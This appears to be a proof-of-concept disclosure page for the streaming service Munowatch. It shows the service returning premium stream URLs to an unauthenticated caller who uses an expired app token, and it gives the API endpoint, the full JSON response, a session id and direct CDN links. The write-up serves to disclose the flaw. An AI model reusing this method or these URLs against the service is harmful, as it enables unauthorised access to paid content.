SECURITY PoC — NO AUTH
CDN BYPASS DEMO — Munowatch CDN serves this video with no token, no auth header required
CDN bypass demonstration:
The API returned
The video above plays from Munowatch's own CDN with zero authentication — any b-cdn.net URL is publicly accessible.
The API returned
playingUrl for The Tale of Lady Ok
with issubscriber: false and user_access: deny.The video above plays from Munowatch's own CDN with zero authentication — any b-cdn.net URL is publicly accessible.
The Tale of Lady Ok
Set in the Joseon period, Ok Tae-Young is an attorney with a secret identity. Her name, her husband, and her status are all fake. She meets Cheon Seung-Hwi, a traveling storyteller who falls in love with her at first sight.
API Response Evidence — Vulnerability Proof
Endpoint called
GET /api/preview/v2/54776/0
User ID used
0 (no user / not logged in)
JWT used
Expired Feb 2024 (extracted from APK)
issubscriber
false
user_access
deny
paid_for
YES (premium content)
substatus
EXPIRED
serverhost
68
video_name
1 The Tale of Lady Ok (2025).mp4
playingUrl returned
YES — URL in response
API playingUrl value
https://munowatch.co/clips/ELI.mp4
CDN demo stream
https://nkuba.b-cdn.net/cleve48/cfr/In.The.Grey.mp4
Finding: The server sets user_access=deny and
issubscriber=false but still returns playingUrl in the
same response. Subscription is enforced client-side only — any caller with
the expired APK JWT can obtain stream URLs without a subscription.
Munowatch CDN (b-cdn.net) serves content with no auth required
(direct HTTP Range requests succeed with HTTP 206).
{
"id": 54776,
"video_title": "The Tale of Lady Ok",
"description": "Set in the Joseon period, Ok Tae-Young is an attorney with a secret identity. Her name, her husband, and her status are all fake. She meets Cheon Seung-Hwi, a traveling storyteller who falls in love with her at first sight.",
"video_name": "1 The Tale of Lady Ok (2025).mp4",
"filehistory": "",
"openload": "0",
"embedurl": "",
"serverhost": "68",
"allow_openload": "0",
"full_video_name": "",
"duration": "43h 32m",
"thumbnail": "https://apposters.b-cdn.net/laba/yo/naki/2aZamVUHVP5743.jpg",
"tfilehistory": "",
"category_id": 5,
"language_id": 1,
"recording_date": "2025-02-17",
"age_id": "18 +",
"location": 1,
"tab_category_id": 5,
"series_code": "89379",
"access": "1",
"paid_for": "1",
"new_movie": "1",
"priority": "No",
"size": "377.65 MB",
"create_date": "2025-02-17 04:02:49",
"schedule_date": "17.02.2025 11:58:38 AM",
"user_id": 1118356,
"vj_id": 37,
"video_status_id": 0,
"network_id": "45.221.10.185",
"user_access": "deny",
"notification": "No",
"secduration": "156720.000000",
"issubscriber": false,
"genre": "Series",
"vjname": "Vj KS",
"trailer_playing_url": "",
"episodes": 32,
"episode_state": "NEXT",
"nxt_eps": "EPS 2",
"nxt_eps_id": 54777,
"nxt_eps_title": "The Tale of Lady Ok 2",
"nxt_ldur": 0,
"nxt_playing_url": "https://munowatch.co/clips/ELI.mp4",
"playingUrl": "https://munowatch.co/clips/ELI.mp4",
"ldur": 2521,
"session_id": "cb99afb5b31411a57538a97393de0e2e",
"device": "web",
"lang_name": "English to Luganda",
"vjrelease": "1 year ago",
"mstatus": true,
"kstatus": "",
"substatus": "EXPIRED"
}